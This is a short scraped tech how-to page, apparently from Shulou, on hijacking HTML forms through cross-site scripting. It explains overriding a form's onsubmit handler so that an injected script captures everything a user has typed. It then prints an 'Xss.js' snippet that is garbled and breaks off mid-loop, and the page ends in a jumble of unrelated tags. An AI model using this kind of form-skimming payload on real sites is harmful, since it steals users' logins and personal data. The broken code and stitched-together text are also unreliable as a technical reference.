Get the App
SLTechnology News&Howtos  ›  Network Security  › 

Xss form hijacking (from Universal plaintext record)

Shulou Source: shulou.com Published: 2022-06-01 04:01:36 10月06日 Update

As we all know, the onsubmit method is called when submitting a form form. Since onsubmit is called, it means that all the items that should be filled in the form must have been filled out. At this time, we can get the information in the form by modifying the onsubmit method.

Xss.js:

Var f=document.forms ['from1']; if (f==undefined) {f=document.getElementById ('');} var func=f.onsubmit;f.onsubmit=function (event) {var str=''; for (var item0polii)

Tags: Forms methods differences information names programs references affirmations plaintext Apple Docker Huawei Linux macOS MariaDB Microsoft MySQL NVidia OPPO Reno Docker macOS Shulou Information Shulou Technology OPPO Reno